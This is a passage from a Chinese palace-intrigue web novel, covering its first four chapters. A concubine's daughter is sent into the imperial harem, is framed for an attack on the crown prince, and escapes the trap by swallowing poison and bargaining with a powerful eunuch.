《承宦》
1. 顶替
“是我对你不住，连累到你了……”
少女回身紧紧抱住逢潭，继而在她耳畔低语，：“还记得我说过的话吗？”
“上天有好生之德，绝不会忍心让阿潭就这么香消玉殒的。”
“阿悦……”
开弓尽射的瞬间，少女用足了力气将逢潭推下断崖。
箭雨如林下，朵朵红花在她身上绽放。
少女噙着泪，嘴角勾出一抹明媚的笑意：“阿潭，代我好好活着。”
不……
不要！！
逢潭从睡梦中猛然惊坐起，豆大的汗珠顺着苍白的鹅蛋小脸砸到手面。
她胸脯起伏，大口喘息，久久不能平复。
见此景，原先还坐在床边潸然落泪的妇人，眼底倏然浮现一抹喜色，她小心翼翼地抚上逢潭的脸，试探地喊了一句：“孩子……”
逢潭木讷地转头看向她。
面前的妇女眸里闪着星光，一身浅色滑绸衣杉，无华饰，朴素又清雅。
“……”逢潭眉间一蹙，警惕地扫了一眼周围。
屋内陈设简洁而不失雅致，阳光透过雕花窗棂照进屋子，绣帷低垂，如同抚风的柳丝，轻轻摇曳。
这是……哪？
她闭了闭眼，记忆匆匆在脑子过了一遍。
“孩子，别害怕，”妇人安抚地摸了摸她的头发：“这里是礼部尚书府，你已经回家了。”
明明是多么抚慰人心的一句话，听到逢潭耳里却让她心脏狠狠一跳。
逢潭情绪肉眼可见的激动起来：“跟我一起的那个人呢？！”
“什么？”妇人摇摇头，示意不明白她在说什么：“他们就只带回来你一个，并未见还有旁人。”
...
是啊。
阿悦已经死了。
在她坠下断崖的那一刻，被漫天的弓箭，万剑穿心……
逢潭身子颤抖的厉害，搭在锦被上的十指不自觉攥紧几分。
手底的异样感觉，使她不禁垂下眼。
她摊开手掌，里面贺然躺着一枚如玉的坠子。
掌心狰狞的硌痕，无疑可见握着的力度之大。
妇人注意到逢潭的神情变化，也随她低下头，目光落到她手中的玉坠子上，泪水瞬间如雨下，终是再也忍不住，放声哭了出来：“儿啊！”
“你我母女分隔数十载，今日总算得以团聚了！”
“如此声量，实非体面之举。”身着锦衣的女人从房外进来：“夏姨娘莫要失态。”
夏姨娘连忙掩泪起身，退让一旁：“夫人。”
尚书夫人汪氏悠悠走上前，将逢潭彻头彻尾审量一通后，嗤笑出声：“到底是乡下糙养的，没有半分千金小姐的模样。”
“夫人说的是，”夏姨娘顺着她，哽咽地说道：“想来这孩子必是吃了很多苦。”
“苦？”汪氏不以为意地在桌前坐下，意味悠长道：“这不是也活的好好的？”
“我也没见她缺胳膊少腿啊？”
夏姨娘被堵的一时语噎。
逢潭掀眼看她，敏锐地嗅到话语间的鄙夷与轻视。
她知道，这位夫人并不是在说玩笑话。
可她不明。
自己与她是第一次见面，从何而来如此强的敌意？
汪氏与逢潭眼神相撞，少女的目光直白裸骨，不见丝毫怯意。
夏姨娘恍然，忙在一旁提示道：“孩子，这是你嫡母。”
逢潭一字一顿道：“嫡母？”
汪氏眼底闪过一丝冷意与迟疑：“她当真是你当年产下的那个死胎？”
“你要知道...咱们尚书府可不是什么阿猫阿狗都能随便进的。”
夏姨娘道：“夫人，她手里的这枚玉坠子，正是当年妾身亲手放进她襁褓中的。”
“……”逢潭闻言一怔，凝望玉坠。
这是阿悦临死前塞给她的....
是她自小带到大的，唯一一个可能跟她亲生父母有关联的信物。
……难道阿悦苦寻已久的爹娘，竟是当朝礼部尚书？
她是朝廷官员在外的遗珠？
汪氏尾调拖得极长，似是没有想到：“哦？”
她意犹未尽地张了张嘴，欲要再说些什么时，一个过来传话的婢子在她面前福了福身，说道：“夫人，尚书大人回来了。”
“知道了。”汪氏摆手，婢子却没有要退下的意思，她又问：“还有什么事？”
婢子看了逢潭一眼，然后收回视线：“大人说...他想见一见庶小姐。”
夏姨娘听完，眉眼间笑意舒展：“那……”
“你去回了大人，”汪氏凌厉一瞥，给了夏姨娘一记眼神，幽幽开口：“就说庶小姐的病况尚未好转，吹不得风，只得晚点再见。”
婢子道：“大人还说了，如果庶小姐不方便的话，就请夫人先过去，说是有要事相商。”
汪氏不耐地拂袖而去。
“……”
待汪氏走后，夏姨娘才又缓缓坐回了逢潭床边，她抿唇一笑：“夫人她就这性子...她的话，你也别太往心里去。”
“我为什么要往心里去？”
逢潭眼神冰冷地细细凝视着她：“这么多年，你即能做到对自己的亲生女儿不闻不问，现如今又何苦这般惺惺作态？”
夏姨娘哑然，显然是被她的话刺痛到了。
默了好一会儿，只听夏姨娘无力地开口：“我知你是怪我的。”
“你应该怪我的。”
她强忍住再次袭来的泪意，声音中带着颤：“若是当年，我没有听信接生婆子的妄言，认为你生下时就没了呼吸……若我当时能再仔细执意一点，或许就不会与你母女分离，饱受多年苦思煎熬。”
“孩子，原谅我！”夏姨娘无措地握住她的手：“既然老天愿意再给我一次机会，那就让我好好弥补你吧！”
逢潭漠然地抽回手，眼下只觉头昏欲裂，她背过身道：“我想自己待会儿。”
“……”
暮色渐浓，月亮高挂漆布。
“庶小姐醒了？”婢子听到屋子里的动静，推门进来：“大人、夫人他们已经等您很久了。”
“...等我？”
逢潭随着婢子的带领，一路来到东堂。
“你可识字？闺名又是哪几个字？”
她跪在地上回答道：“我姓逢，单名一个潭字。”
夏姨
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娘喜上眉梢道：“大人，潭儿离家多年，却也没有跟旁人姓了外姓，这真是命定的缘分！”
礼部尚书也难掩欣慰之色，他嘴上连连叫好：“潭儿，这些年你过得可好？”
逢潭眉间一蹙，心头倏然涌上浓浓苦涩，她什么都没有说，只是静静地凝望着面前这位所谓的“父亲”。
在这些人过着锦衣玉食，恣意享乐的日子的时候，可曾想过自己遗留在外的女儿自小竟是需要靠人施舍，乞食为生才能得以度日……？如今阿悦尸骨已寒，他们又来尽显舐犊情深，一个两个的说着自己种种不该与无可奈何，多么虚伪讽刺。
默了良久，她直言道：“尚书大人，有话不妨直说。”
汪氏冷哼一声，率先开口：“等你将养几日，我们就送你进宫。”
“进宫？”夏姨娘扯了扯嘴角，用笑意掩盖住慌乱：“大人……”
“如今朝堂局势日益紧张，表面看似风平浪静，实则之下暗流涌动，各方势力交织纠葛。”
礼部尚书负手而立，语重心长道：“在这浩瀚的朝堂之中，咱们逢家就犹如一叶扁舟，随波逐流，地位岌岌可危，随时都有可能被巨浪吞噬……”
“当下唯有送你们姊妹几个进宫，兴许还能博得一个喘息的生机。”
夏姨娘频频摇头，深知自己在这家中没有说话的分量，心中难舍却也只能无力地问道：“再没有旁的办法了吗？”
礼部尚书一顿，而后道：“除了当今圣上，倒是还有一人选。”
夏姨娘：“谁？”
“常聿。”
夏姨娘如雷贯耳般僵在原地：“那常聿是个阉人！”
“虽是阉人，不能人事，可样貌却是生的极好的。”礼部尚书着重道：“陛下虽龙袍加身，然一切事务都全权交于常聿掌阅批红。”
“他手持权柄，握朝廷命脉，不少官员已经暗中站队他势一党。逢家若能攀上他这个高枝，前途定是无可限量的。”
“只是……那常聿素来手段狠厉，杀伐果断，也不是个好相与的主！潭儿跟了他怕是也要吃些苦头。”
“天啊……”夏姨娘瘫坐在椅子上，眼神中透露出一股难以言喻的酸楚。
夏姨娘：“潭儿她只是个庶女....”
“只要是逢家的女儿，任谁进宫，都没区别。”汪氏沉脸道：“还是说夏姨娘的意思，是想让宁儿去？”
逢潭抬眼，琥珀似琉璃般的浅眸带着探讨的意味在汪氏身上扫过。
“……”瞧着汪氏咬牙切齿的模样，分明是不愿让她进宫的。
听她方才话里的字意，估计是舍不得自己女儿，所以才迫不得已的将逢潭推了出去。
瞧着这一家人，逢潭脸上露出一抹淡淡的苦笑。
“你就多担待点吧。”礼部尚书背过身，不敢去看逢潭，似是知道自己对不起这个女儿：“家中没有可以依靠的男丁，姊妹几个里属你最为年长。这些年难为你了，以后进了宫，跟在陛下身边好好享福吧。”
逢潭看着他，声音平淡无波：“父亲，你很需要我吗？”
又到底是需要这个女儿回到身边承欢膝下，还是因为舍不得与另一个女儿分离，故而才想起自己的这枚沧海遗珠？
2. 囹圄
礼部尚书微微点头。
“...好，我去。”
眼见逢潭答应的利落干脆，众人的脸上肉眼可见的露出意料之外的惊讶。
夏姨娘：“.....潭儿，进宫绝非儿戏。”
逢潭已然寒了心，面上不显任何表情：“身为逢家的女儿，自是要为逢家尽一份力的。”
·
嘉熙十六年寒冬，肆意的飞雪伴着北风于漫天逍遥快活。
就连那院中素来惯会以傲视人的枝头，也在昨个儿夜里为雪折了腰肢，好似只有这般才能尽数控诉这数九寒天的无情。
“公公这是何意？”
跳动的火光晃得扎眼，婢子扫了一圈通亮的院子，而后将目光落在一个圆润膘肥，面庞发腮的老太监身上：“恕奴婢胆子小，心中好生惶恐。”
老太监此刻全然没有了对其他宫内主子时的谄媚模样：“半个时辰前，承欢殿遇刺，咱家奉命搜寻各宫，缉拿歹人。”
婢子躬身：“我家贵人已经歇下了，还请各位公公们动作小点。”
“你这小蹄子，”老太监斜昵了她一眼：“此事到底涉及天家安危……夜长梦多，咱家也不过是想早一刻缉拿住歹人，好叫陛下他们安心罢了。如此想来……嘶，即使不小心惊扰到哪位贵人，又作何关系呢？”
老太监自顾自地正了正衣冠，愈发趾高气扬：“哦，是了，咱家差点忘了，这娴苌宫里养的倒的的确确是位‘贵人’了，啧....逢才人入宫多久啦？”
旁边的小太监答：“回师傅，已经快有两年了。”
“两年啦？”老太监佯作一副讶异地表情：“我记得李婕妤也是两年前入宫伴驾的吧？”
“是。等来年入了夏，婕妤腹中的皇子落地，到时迎了陛下心欢，约摸着就又该晋封了。”
老太监倏而点头又摇头，扯了细亮的嗓子：“同是一起入的宫，人李婕妤腹中的皇子都快三个月大了，这逢才人可是还连陛下的面都不曾见过？”
那婢子闻言骤然拉下了脸。
任他在那儿阴阳怪气一通后，终是心满意足的掩笑道：“咱家想....逢才人心系陛下，定然是不会计较这些的……”
“公公说的极是。”
声音先入人再见，逢潭款款走到廊前，倦怠地抬了抬眼，对上老太监眼中投来的打量。
“难为公公记得我。”她的声音轻浅无力，却又叫每个人听得一清二楚：“想来公公的意思也就是陛下的意思，你我左不过都是天家的奴才，听天家的命。”
她朝老太监盈盈笑道：“公公既是领旨办差，那我自是不敢有任何异议的。”
“……”
老太监张嘴欲要说话，不曾想自身后前殿，传来一阵骚动，众人闻声愕然转身。
数名身影可怖，面带冷峻的持刀男人，如潮涌般疾步而入，娴苌宫瞬间被他们围的水泄不通。
见此景，逢潭的脸色微乎其微地暗了下来。
待这群人在院中站定，为首之人从他们之中缓缓走出。
那人的步伐虽缓，却带着不容无视的逼人与压迫，每走一步都像是踏在人心尖最柔软的那处，让人止不住颤抖。
接着定睛一看，只见那约摸二十出头的青年男人头顶所冠乌纱描金曲脚帽，身着绀紫色盘领蟒袍，蟒袍的袖口处是以金线镶绣的祥云描边，极为慵奢。
逢潭，低垂着眼，暗暗在心里将他打量一番。
哪里来的花孔雀...
竟是比女人打扮的还花枝招展。
男人止步廊前，朝逢潭颔首：“贵人万安。”
还不等逢潭先开口，老太监已经光速凑身上前：“哟！常大人！”
他一改先前，肉脸上挤出腻人的笑容：“您怎么亲自过来了？”
“怎么？”皮肉裂开的刺痛感，阻断老太监贴过来的举动：“司礼监做事，什么时候也要向陈公公汇报了？”
“是是是，是老奴多嘴了，”老太监大气都不敢喘，眼睛直勾勾瞪着蛮枝横在自己脖间的利刃，抬手在脸上抽了起来：“小大人勿怪！”
常聿不予理会，目不斜视地等他们说完：“司礼监掌印常聿，叨扰贵人安枕。”
“一件微末小事罢，微臣就自便了。”
逢潭默然。
他，就是常聿？
传闻中那个位高权重、手段狠辣的内侍臣。
随后只听他一声令下，约摸一盏茶的功夫不到，就见一个行为鬼祟的小太监被人揪着衣领，从后殿扔到众人面前。
“......”逢潭眉间微蹙，不知作何而来的异样之感，也在这刻弥上心头。
常聿拱手，虽是作揖，腰杆却依旧直挺，连头都不带低一下：“有劳贵人。”
他话说的莫名，让人摸不着头绪。
逢潭听得心中没底，却也只能没头没脑地应着：“...不敢。”
常聿晦暗不明地睨了她一眼，然后转身。
逢潭朝着他的背影恭送道：“大人走好。”
谁知此话一出，倒叫正欲挪步的人脚下一顿。
常聿回过头，紧收的下颌微扬，淡漠的眸中对她多了份审视。
两人相对，僵持地立于彼此面前，没有言语。
良久，常聿道：“贵人不与微臣一道走？”
逢潭不明就里地“啊”了一声。
常聿眼睫微眯，隐隐散发出森寒之意：“此人在宴会上公然行刺，而后又在贵人宫中找到。于情于理，您都理应跟臣到陛下面前走一趟。”
“……”
承欢殿内，暖香融融，面前的一切都还正如先前为太子庆生时的场景，然气氛却与那会儿截然不同。
“臣妾现在光是想想，心里就好一阵后怕，可怜芜儿还这样小，竟要遭遇如此横祸。”
帝王凝着脸，冷漠地将妻子的举动收近眼里。
底下的妃嫔面面相觑，场面一度凝重。
话落到了地上，皇后泪眼婆娑地望向帝王：“陛下，芜儿也是您的儿子啊！他才遭遇了这样的事情，现在最是需要父皇垂怜的时候……”
“陛下自然是心疼自己孩儿的。”沉寂的席间，忽然一人将手中的酒杯落桌：“只是...芜儿如今也年满十四，早已不是什么奶娃娃了。”
她毫不避讳地笑出声，言语间含带着极浓的醉意：“芜儿身为未来储君，若是就被眼前这点风浪吓住，倒真是……”
皇后道：“陛下，湘妃如此出言无状，您当真就这么眼睁睁看着
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臣妾受辱？”
眼见着帝王眉间躁意逐渐尽显，席下的慎贵妃面上挂笑，温声打破这一僵局：“湘妹妹，你吃醉了。”
“还不快扶你家贵人回宫歇着。”她朝着对面婢女使了个眼色。
转而又对帝后慰藉道：“近来宫中琐事繁忙，常大人又才刚回京，皇后娘娘身为六宫之主，日理万机，自是辛苦。即使稍有疏漏......也是在所难免。”
“倒是经此事一出，正好提醒了咱们宫中管理的有所懈怠之处……所幸陛下与皇后娘娘福泽深厚，庇佑太子殿下此番平安无事，可见是天命所归了。”
皇后捻着锦帕，拭掉面上残挂的珠泪，不过抬眼的间隙，就瞧见自外走来的常聿，她激动道：“可是抓住那歹人了？！”
众人闻言顺着皇后的目光所到之处看去，随后视线触及常聿身后。
“这是……？”
“娴苌宫才人逢氏，请陛下，娘娘安。”许是常年卧病的缘故，女子的举手投足与言语间，透着的都是常人不多沾有的慵懒和羸弱，颇有弱柳扶风之姿。
帝王看着逢潭，眉间一蹙：“逢（冯）氏？前朝哪位爱卿？”
皇后心中纵使有万般不快，却也还是在一旁凉凉的提醒道：“是礼部尚书逢光之女。”
她冷眼看向帝王，帝王的眼神在逢潭身上流连不下。
帝后之下，席间之首的慎贵妃随手从桌上拿起一枚福橘，漠然置之剥道：“不知逢才人随常大人过来所为何事？”
话落，只见常聿抬手一挥：“带上来。”
“贵人，”小太监被蛮枝拖拽到大殿中央，几番试图挣扎着朝逢潭扑喊道：“贵人救我！”
逢潭眉宇一跳。
诸多不解，眼下也已分明了。
她默默地扫了一眼大殿众人，眼神深邃而复杂。
在座的嫔妃，各怀心思与期待，津津有味地观望着这场注定以悲剧收场的闹剧。
“……”逢潭拧眉，心中暗暗思量。
暂不说事情原委究竟如何，就当前种种迹象都是在指向她，论她如何辩解，于旁人眼里也不过是空口白话，信服不了……
且她现在身处的地方是讲究尊卑之道的旧封建社会，又是无法掌握自己生死权利的皇宫，她更不能以自己新/时/代的思维去处理。
....可若是逢潭不尽快想办法为自己开脱，清者自清在这宫中又有何可论的？
何况她现在的身后还有整个逢家....她不能冒险。
逢潭大脑飞速运作，不经意的一个抬眼，发觉到帝王朝她投来的炙热目光，心里倏地涌出一个想法....
与其在这被人推着走，平白给人当了刀使....
倒不如顺道而行，以退为进，稳住局况。
毕竟只有保住了命，才能有资格再谈以后。
皇后恍然，一时失了端庄，雷厉转身指着她：“是你下的手？！”
说时迟那时快，逢潭闻言腰肢登时顺势一软，奄奄坐到地上：“陛下，娘娘，嫔妾不认得他。”
“逢才人！是您说今日是太子殿下生辰，人多眼杂是最好下手的时机！”小太监一听这话，立马急了：“奴才是为您办事的，您怎么能过河拆桥呢？！”
3. 入局
逢潭噙着泪，声音细若游丝，猫儿似的呜咽道：“陛下，嫔妾并未做过此事。恳请陛下明察秋毫，还嫔妾清白。”
皇后指着小太监道：“眼下行凶之人就在你我面前，令你再般巧舌如簧也是无用！来人……”
逢潭道：“皇后娘娘，嫔妾自进宫起便抱病，成日只在自己的一隅之地，更是与各宫无冤无仇，实在没有理由戕害太子啊！”
皇后驳回：“你既说自己与各宫无冤无仇，那又会有谁栽赃陷害你？”
地上的女子娥眉轻蹙，似远山含黛，她抬头望向帝王，眼波流转尽是温婉柔情，让人好不心生怜惜：“陛下，嫔妾自知命里福薄，即使得上天垂怜进了宫，却因着自己的身子不争气，常年缠榻，无法伴君侍候......幸容皇后娘娘惦记，这两年来，才从未曾受宫人冷落。”
“在嫔妾心里，只有对陛下，对娘娘的敬爱，嫔妾怎敢生出半分不轨之心？嫔妾着实惶恐，还请陛下为嫔妾做主！”
逢潭压着身子，心里明镜似的。
她不过一个小小才人，无权无势。
此番也是第一次面圣，更是无宠。
没有谁会愿意保一个毫无价值的人。
她现在仅有的救命稻草，唯有那个可以使她从无到有的男人。
默了一会儿，余光扫见绣着明黄龙纹的锦靴往前挪动了几步，在她面前停下。
只见帝王缓缓朝她伸出手：“地上凉。”
逢潭皓齿轻咬下唇，好一副清纯娇柔的模样：“谢陛下。”
她似若无骨般的依附在帝王怀里，见帝王对此很受用，心中悬着的石头稍落了几分。
当年逢潭进宫匆匆，使得本就亏损匮乏的身子雪上加霜，甚至还不待帝王召见，就已经病得离不了榻，一连拖了近两年，现下才略有好转。
期间宫外的逢家急得团团转，几次书信慰问催促。
然而后宫佳丽如花般绽放，新人一批接着一批，帝王根本顾暇不上她。
今日虽被无辜牵扯进了东宫遇刺一事，却也因此顺理成章的得到了见君的机会。
如此一来，倒叫逢潭省了不少日后自己使手段的功夫。
除了目前的局况有点棘手外，于她而言也算不上太糟。
“陛下的意思是……？”
皇后身子都是抖的，她深深地吸了一口气，努力压下满腔的愤愤，头顶凤冠被带的微微颤动。
“常卿以为如何？”
常聿垂手而立，默不作声地在旁听了好一会儿。
席间的目光急切灼热，他懒懒掀眼，不易察觉的对上那人视线，转瞬即逝。
移开眼的同时，察觉面前还有一道凛然的目光在他身上。
意识到自己偷窥被发现，逢潭神情没有一丝慌乱，在常聿的注视下，她处变不惊地收回视线：“……”
常聿从容地看向帝王，神情恭谨正欲回答。
“——皇后娘娘，不好了！方才东宫传话过来，说是太子殿下他...他....”
皇后一把抓住宫婢，情绪激动道：“太子殿下怎么了？！吞吞吐吐这般，你倒是快说！！”
宫婢跪地：“伺候太子的宫人说，殿下回到寝宫没多久，不知怎的突然口吐鲜血，身子抽搐了几下便没了动静，活像是中毒的模样……眼下太医已经去了。”
宫婢言罢，皇后眼前骤然一黑，一口气噎在喉咙，险些昏过去。
随后她顾不得宫婢的搀扶，踉踉跄跄地赶去东宫。
·
风雪愈加绵延，长街上只有几个提灯的太监在前方引路，周围静得只能听见一行人脚底踩在雪面的声音。
逢潭随在常聿身后，头顶云层遮月，前方唯有的一点朦胧火亮，并不足以让人看清她眼底的幽暗神色。
临近娴苌宫时，她脚下一不留心，蓦地跌坐在地上。
一旁的蛮枝下意识欠身去扶，却被逢潭虚虚地躲开了。
“……”他怔了怔，抬头看了眼常聿，了然收回手，冲众人道：“贵人这下摔得不轻，你们先前面走，清清路上的积雪。”
随后他也自觉地提了盏灯退至一边。
“大人，我不想死。”
常聿没有说话，只是面无表情地看着她。
“求大人垂怜！”逢潭很有眼力地噗通一跪：“今晚之事，本与我毫不相干！”
男人居高临下地睥睨道：“贵人这话不应该同微臣说。”
“谋害皇子是大事，”她垂首一拜，墨泻如瀑的长发未束，松松散散滑到颈侧：“且如今行凶之人在我宫中找到，又当着众目睽睽之下咬定是我指使，任凭我有几张嘴都说不清！”
“我只是个没有恩宠的小小才人，人微言轻。又自进宫后闭门不出，我的存在理应碍不了任何人，”逢潭缓了口气，慎思几秒后，直言道：“今晚此局，我无非就是一枚被捡起来利用的棋子。”
逢潭抬头仰视着他，纷扬的雪雾模糊了眼前的人与景。
默了好一会儿，常聿的嘴角浮现出一丝意味悠长的冷笑：“....你倒是看得清眼下局势。”
“只是，”他低头抚上指间的玉扳指，身后的玄色狐裘大氅在凛冽的风雪中高高扬起，“贵人方才也说了。”
“你不过是个小小才人。”
男人漫不经心地掀了掀眼皮，凉薄的嗓音在寒夜下显得更为冰冷：“既如此，你的留去与否跟那养在池子里的鱼儿，又有何两样？”
“……”
透过窗子，外面天微微亮。
逢潭一夜未睡。
她坐在床边，掌间窝着的是一个指关节长短的白瓷瓶。
借着晨曦昏暗的光亮，依稀可见她的神情，仿佛若有所思。
须臾片刻，只见她不带半分犹豫地仰起头，对着瓷瓶中的东西，一饮而尽。
“……”辛辣灼烧的感觉从喉咙流进体内。
不过几秒，五脏肺腑也随之开始抽搐。
瓷瓶脱手落地，逢潭双眼紧闭倒在床上。
你会保佑我的。
……对吗？
·
幽渺的冷木香薄薄入鼻，逢潭甚至都不用睁眼。她张了张嘴，尝到喉间那股不容无视的腥甜：“我还活着。”
那人闻声并不意外，似是早就察觉她醒了：“贵人以为呢？”
逢潭眸子缓慢挪动，直到眼帘中倒映出男人的身影：“我赌对了。”
常聿站在床边绕有意味地凝视着她。
“非我招祸，祸自招我。”逢潭与他对视：“承蒙大人抬爱，今时今日也算是切身体会了一番，深有所悟。”
说完，她收回视线，不再看常聿。<
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p>头顶的帐幔轻轻抚动。
是从什么时候发现的呢？
“……”
逢潭闭了闭眼。
从常聿带着人来娴苌宫搜宫的那一刻起，再到承欢殿内，行凶的小太监咬死是她授意指使。主谋只需在一旁推波助澜，把控时局方向。
因为这是一个没有成败之论的局。
昨晚人来报东宫中毒一事时，她就在想这是否是个连环计。
于是她遣回守夜的婢子，果不其然在娴苌宫的小厨房里，发现了一个本不属于这里的东西。
同时，这也恰好证实了她的猜测。
从始至终，行凶的人就没想过真的对东宫下手。
但所有人的注意力，都只会在东宫身上。
布局之深，招招不致命，但却尤为攻心。
因为他们的目的，从一开始就是皇后。
所以太子不会死。
这也是她选择毫不犹豫吞下那瓶，早已事先藏匿在娴苌宫里，与太子体内同样毒药的缘由。
如果逢潭没有吞下这瓶毒药。
那么，小太监就会将东宫中毒的事情再次引到她的身上。
而娴苌宫里与他们内应，藏下毒药的那个人，也会在这个时候站出来。
这是独属于逢潭的死局。
因为她的存在，恰恰就是局中所需要的一个，能够引起矛盾点的导火索，默不作声达成设局人真正目的，同时又能掩盖一切的挡刀傀儡。
一个常年无宠，受人冷落的才人，拥有足够的理由憎恨宫中的一切。
这样的人，即使死了，也不会有任何损失。
正如逢潭所说，她就是那枚被捡起来利用的棋子，并且是最绝佳的一枚。
没有人比她更合适。
但...如今的结局，可想而知是在意料之外的。
常聿不得不承认，逢潭在这件事情上处理的很好。
她很会利用自己，将自己想让旁人看到的东西，潜移默化地渗入人心。
逢潭一次次向众人展示自己的柔弱，降低自己的锋芒。从始至终都没有过硬的去辩论是与否，因为她知道自己的话无足轻重。
她虽没有证据可以证明自己的清白，但是却能从侧面将自己在这件事情上疏远出去，让自己完全脱节。
譬如东宫遇刺后又接着中毒，本就存有嫌疑的逢潭，理所当然的会再次被推上众矢之的。
可此时她却逆道而行，与东宫服下同样的毒药，伪造了一个被杀人灭口的假象，暗示背后另有主谋，从而将自己摘了个干净。
常聿哂笑，叹道：“微臣倒是低估了您。”
她犹豫了一下，终是忍不住问了一句：“既然有人承担后果，为什么不直接索性把太子杀了，一了百了？”
常聿不答反问：“你觉得呢？”
逢潭坦言道：“我觉得常大人并不像是一个会心慈手软的人。”
常聿眼底划过一抹阴鸷。
逢潭道：“就目前而言，你留着太子是因为他对你还有用，是吗？”
常聿道：“你很聪明。”
逢潭谦道：“尚不及大人万分之一。”
“但是太过聪明的人，不好。”
他眼神倏地一变，利刃出鞘直击逢潭，话中带着狠厉：“给你个机会，说遗言吧。”
4. 机会
逢潭波澜不惊地迎上他锐利的目光，丝毫不显任何惧意：“常大人从来不留无用之人。”
“如果你想我死，估计我的尸体早就已经凉透了。”
常聿望着她，默了好半晌。
“蛮枝。”他森然笑出声，身子往后仰了仰：“去回禀陛下，戕害太子的犯人既是主谋，现已在诏狱畏罪自杀。娴苌宫宫婢为奴不忠，为以示宫规，现将她逐出京城，永不再入。望各宫以儆效尤。”
“恭喜贵人，沉冤得雪。”
“这个结果，贵人可还算满意？”
*
大雪一连飘了好几日。
逢潭就着一袭单衣立于廊下，天边皎月映在眼中，眸光轻闪，鹅毛飘飘落到她的掌心，还未觉凉意，便在手中化成了水，没了形。
“真是晦气……”
长廊的尽头，两个守夜的婢子蜷缩在角落，面前的炭盆早已没了火星。
“影莲姐姐快别说了。”年纪尚小些的那个，悄悄瞥了一眼院中人：“会被听到的。”
“你个怂丫头，瞧你那没出息的样。”影莲横了她一眼，鄙夷地点了点她的头：“说你是个傻的，又不是头一天进宫伺候了。”
“前两日我去内务府拿份利，遇到了之前同我一起进宫的藏荷。”她话语中充满艳羡：“说来那小贱人也是命好，如今跟着慎贵妃，那群势利眼的狗东西看到她，就跟老虎见了肉似的，狗腿子一样迎过去，别提有多风光了！”
影莲呶了呶嘴，情绪低了下来，转而变成哀怨与不甘：“而我...成天跟你个蠢笨丫头处在一起，困在这个比冷宫还寒酸的地儿，守着这么一个活死人，真是活活作践我自己！”
旖月没有立马接她的话，沉默了一会儿，才道：“日子过得是寡淡了些，可她到底是陛下的嫔妃，虽然恩宠了无，却也没短了咱的吃穿。”
“就先这么着过吧。”
落寞的雪夜里，影莲嗤笑出声，头顶的厚雪压断枝头，砸到地上。
许是也意识到自己动静弄得大了，她小心翼翼地瞅了眼身后。
虽是敛了音调，可嘴里的腌臜之意仍未减丝毫：“你是没瞧见那晚陈必房来咱宫里的样子，那眼睛都快长到头顶上去了。在这宫里，有宠的才算主子。”
“无宠？那就是摆设，是个物件。说出来都不够人寒碜的！”
旖月低头扯了两下影莲衣角，影莲不以为意地继续道：“有命进宫又怎样？无宠还不是任奴才轻贱？到底是个有命无福的。”
“可恨我没个得力的父亲，像样点的家世。不然就凭我的容貌姿色，怎么也不至于落得做一个任人驱使的宫婢了。”
身边的小丫头依旧没有吭声，只是这次扯她的力道比刚才更重了些。
影莲被弄烦了，啧了一声，正准备埋汰她。旖月却是先一步开口：“好姐姐快别说了！贵人在往这边看呢...”
“什么？！”影莲连忙捂住嘴，惶惶回头，却见逢潭已然错开视线。
她这才略微疏松了口气。
这时，娴苌宫唯一的小太监来乐，一路小跑过来通传：“贵人，方才皇后身边的人过来传话，说是皇后娘娘.....想见您。”
“现在？”
皇后想见她？
来乐轻点下头。
逢潭微佻眉眼。
东宫遇刺的事情虽已被常聿拍案，却难免皇后不会为此对她耿耿于怀。
这几日之所以一直处于按兵不动，估摸着也是见那晚帝王与逢潭片刻柔情，故而在试探帝王对她的态度。
然帝王虽是注意到了后宫还有逢潭这一号人物，可仅有的一面还并不足以吊动男人的心，让他为之传召。
皇后大约心中有了底，这才开始有所行动。
来乐见她许久没有反应，低声委婉道：“贵人若实在不愿，奴才等下寻个理由，去回绝了他就是。”
来乐欲转身，瞧见逢潭勾扬起了嘴角：“为何不去？”
这可是送上门来的机会。
...
“先前见你实在病得厉害，故而让你安心静养。不曾想，你久不出来露面，倒是因此跟各位姐妹之间生疏了。”
皇后似笑非笑道：“如今，陛下顾及到本宫在太子与六宫之间两头操劳，故由慎贵妃暂代处理六宫事仪。本宫难得落得清闲，能把你们叫来说说话了。”
逢潭面露愧色：“嫔妾有罪，原是早该来拜见娘娘的。”
“说来，真是难为了逢才人，”不知是谁嗤笑一声，继而说道：“近来风雪连绵，听闻逢才人因承欢殿一事，回去路上吹了风，又病倒了。”
“到底是人娇弱，经不得一点风吹，只适合温室里养着。”
几人掩笑道：“以前竟不知逢才人还是个狐媚惑主的胚子。”
“瞧瞧那日你在陛下跟前的模样，真真是我见犹怜，惹人心疼，也难怪陛下狠不下心追究。”
逢潭抬眼朝皇后望去，皇后只一味低头喝茶，无声的任由着这些人你一言我一语的刁难。
她对此倒也不恼，依旧保持着淡淡笑意，脸色不见任何波澜。
逢潭深知皇后此番的用意并不止在这。
于是，她率先主动提及太子之事。
话一出，原本还在拿她取乐的众人，骤然收了声，住了嘴。
皇后神色微变，半带轻蔑道：“难为逢才人挂心，芜儿现已并无大碍。”
逢潭嫣然笑道：“如此一来，真是甚好。”
她朝身旁的旖月使了个眼色，小丫头低着身子上前，呈上一枚荷包。
这荷包走针细腻流畅，行云流水一般。
不曾想她竟还有这般女红手艺。
.....等等。
皇后将荷包拿近了些，迟疑地仔细一嗅，像是发现了这荷包暗藏的与众不同的玄机之处。
接着，逢潭佯装没有看见众人眼里的嫌弃，温声道：“娘娘爱子情切，嫔妾深知承欢殿一事，难免会让娘娘对嫔妾心怀芥蒂，于是便用家乡的奇方，亲手制了这个药囊……”
“嫔妾虽久不在外走动，却也素来耳闻太子殿下辛勤，常常功课到很晚。这里头含了十几味药材，对清神解毒最是有奇效，故想将它献给太子殿下，以表嫔妾之心。”
“皇后娘娘慎用，”一嫔妃劝道：“太子殿下才出了那样的事，还是得仔细着些。”
“毕竟咱们也不知道这里头掺杂的东西，到底是药还是毒？”
逢潭一脸从容坦然相：“嫔妾扪心自问，自是问心无愧的。皇后娘娘若实在不放心，大可等回头请了太医一验便知。”
皇后摆手示意，道：“你能有这个心，实为难得之举。颖昭仪向来口直心快，她有这顾虑，也是再所难免，你莫要往心里去。”
“再过几日便是除夕了，逢才人身子若得了利索，就别再自己闷在宫里了。”
历来别说这种宴会场合了，甚至是连日常的请安，逢潭都是得了皇后令不参与的。这也是她两年来，能够长时间避世静养，并且做到无人问津，不受人打扰的缘由之一。
而今又被猝然提起，虽一时不知是为何意，但在她面前的人终究是皇后，自己也没那么自负的的认为皇后是在征求自己的意见。
于是逢潭很识趣地道了声：“...是。”
....
回去的路上，旖月总是瞧着她一副欲言又止地模样。
